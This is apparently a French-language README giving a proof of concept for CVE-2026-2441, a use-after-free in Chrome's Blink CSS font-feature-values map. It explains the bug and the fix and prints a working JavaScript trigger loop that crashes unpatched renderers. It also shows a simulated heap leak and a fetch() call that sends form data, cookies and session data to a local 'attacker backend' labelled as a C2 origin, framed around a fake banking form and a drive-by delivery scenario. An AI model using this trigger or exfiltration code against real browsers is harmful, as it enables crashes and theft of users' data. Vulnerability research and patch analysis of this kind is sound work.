
Preuve de concept détaillée et analyse technique pour CVE-2026-2441, une vulnérabilité use-after-free dans le CSS de Chrome permettant une exécution de code à distance (RCE) dans le moteur de rendu sandboxé via des pages HTML conçues.
CVSS 8.8 (Élevé) | Exploité activement dans la nature | RCE du rendu (bac à sable)
Une vulnérabilité use-after-free dans le moteur CSS Blink de Google Chrome qui permet à un attaquant distant d'exécuter du code arbitraire à l'intérieur du bac à sable du navigateur via une page HTML malveillante.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Élevé) |
| Type | Use-After-Free (CWE-416) |
| Composant | Blink CSS — CSSFontFeatureValuesMap |
| Fichier source | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit de correction | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Signaleur | Shaheen Fazim (2026-02-11) |
| Date du correctif | 2026-02-13 |
| Dans la nature | Oui — Google a confirmé une exploitation active |
FontFeatureValuesMapIterationSource stockait un pointeur brut (const FontFeatureAliases* aliases_) vers la HashMap interne FontFeatureAliases. Lorsque la map est modifiée pendant l'itération via set() ou delete(), la HashMap se réorganise (rehash) — allouant un nouveau stockage et libérant l'ancien. Le pointeur brut devient pendant, et l'appel suivant à FetchNextItem() lit de la mémoire libérée.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
Le correctif remplace le pointeur brut par une copie profonde de la HashMap. Même si la map d'origine se réorganise, l'itérateur opère sur sa propre copie, empêchant le pointeur pendant.
poc.html dans une version vulnérable de Chrome (< 145.0.7632.75)| Version de Chrome | Comportement attendu |
|---|---|
| < 145.0.7632.75 (non corrigé) | Crash du rendu — STATUS_ACCESS_VIOLATION (Windows) ou SIGSEGV (Linux/macOS). Chrome affiche l'erreur "Impossible d'ouvrir cette page". |
| >= 145.0.7632.75 (corrigé) | Pas de crash — le PoC s'exécute jusqu'à la fin, toutes les entrées sont lues normalement. |
Le PoC est organisé pour montrer la chaîne d'exploitation de manière claire et reproductible. La première partie crée l'objet Blink/CSS vulnérable, la deuxième partie déclenche l'invalidation de l'itérateur, et la dernière partie simule les effets post-exploitation dans un environnement académique sécurisé.
Note importante : le déclencheur UAF est implémenté via de vraies API CSS/JavaScript exposées par le navigateur. La fuite de heap et le tableau de bord d'exfiltration sont intentionnellement contrôlés/simulés pour éviter de libérer un exploit Chromium armé.
La charge utile définit d'abord une règle CSS @font-feature-values :
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
Cette règle amène Blink à créer un CSSFontFeatureValuesMap interne. Dans l'implémentation vulnérable, l'itération sur cette map est dangereuse car l'itérateur conserve un pointeur brut vers le stockage interne FontFeatureAliases.
La charge utile JavaScript obtient ensuite la map de la feuille de style :
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
À ce stade, la page contrôlée par l'attaquant possède un handle JavaScript sur un objet navigateur dont l'implémentation C++ interne est vulnérable à l'invalidation d'itérateur.
Le déclencheur n'est pas exécuté immédiatement. Le PoC attend 800 ms avant d'exécuter la séquence vulnérable :
setTimeout(triggerUAF, 800);
Ce délai est utilisé pour la stabilité de la démo. Il permet à la page et au faux formulaire de vérification bancaire d'être rendus avant que le déclencheur de corruption mémoire ne s'exécute. Dans un scénario réel de drive-by, le même déclencheur pourrait également être lancé automatiquement dès le chargement de la page malveillante.
La primitive UAF principale est la boucle suivante :
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
La vulnérabilité est déclenchée par l'ordre des opérations :
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.
La stratégie agressive initiale utilisait une boucle de type heap-spray plus grande, par exemple en insérant des centaines d'éléments comme 512 nouvelles entrées après chaque suppression. Cela crée une pression de heap plus forte et rend la réallocation/réutilisation plus probable.
Pour la démo en direct, cela a été réduit à seulement 4 étapes de mutation :
while (step < 4) {
// iterator read + delete + set
}
La raison est pratique et pédagogique : le spray de 512 éléments faisait souvent planter le rendu immédiatement. Un crash est utile pour prouver l'impact sur la disponibilité, mais il empêche le reste de la démonstration de montrer le vol de données simulé et le tableau de bord de l'attaquant. La version réduite démontre toujours la logique d'invalidation d'itérateur vulnérable tout en maintenant le navigateur suffisamment stable pour la présentation en direct.
Un véritable exploit UAF armé nécessiterait normalement une primitive de divulgation mémoire pour fuiter des pointeurs de heap ou V8 et contourner l'ASLR. La démo n'implémente pas une vraie lecture mémoire arbitraire. Au lieu de cela, elle génère une adresse de type heap à partir d'une plage statique prédéfinie :
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
Cette valeur est une fuite de heap simulée :
0x55a000000000 est la plage de départ fixe de type heap utilisée par la démo.Math.random() * 0x200000 ajoute un petit décalage aléatoire.base & ~0xfff aligne l'adresse sur une limite de page.Le but est de montrer à quoi ressemblerait une fuite permettant de contourner l'ASLR sur le tableau de bord de l'attaquant sans implémenter un véritable exploit de divulgation mémoire.
Après le déclencheur UAF et la fuite de heap simulée, le PoC construit une charge utile contenant les données du formulaire saisies, les données de session résidant dans le navigateur, l'extrait DOM, le statut UAF et la fuite de heap simulée. La charge utile est envoyée au backend attaquant local :
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
Le backend local reçoit les données sur POST /collect, les stocke en mémoire et les transmet au tableau de bord de l'attaquant via Server-Sent Events (GET /events). Cela modélise la phase de commande et contrôle / exfiltration d'une attaque réelle tout en restant local et contrôlé.
document.cookie, localStorage, sessionStorage, valeurs de formulairesfetch() / WebSocket / sendBeacon()addEventListener('keydown')Lorsqu'il est combiné avec une vulnérabilité distincte d'évasion du bac à sable :
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
Chaînes d'exploitation réelles utilisant des UAF similaires dans les navigateurs :
Cette vulnérabilité est exploitable via un téléchargement furtif (drive-by download) — aucune interaction utilisateur au-delà de la visite d'une page malveillante n'est requise :
chrome://flags/#site-isolation-trial-opt-out)| Date | Événement |
|---|---|
| 2026-02-11 | Vulnérabilité signalée par Shaheen Fazim |
| 2026-02-13 | Google publie Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google reconnaît une exploitation active dans la nature |
| 2026-02-16 | Vivaldi et Opera publient des correctifs |
Si vous trouvez cette recherche utile, envisagez de m'offrir un café :
Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisées uniquement. L'utilisation de ce PoC contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. L'auteur n'est pas responsable de toute utilisation abusive.
MIT
| Plateforme | Vulnérable | Corrigé |
|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi) | Consulter l'avis du fournisseur | Variable |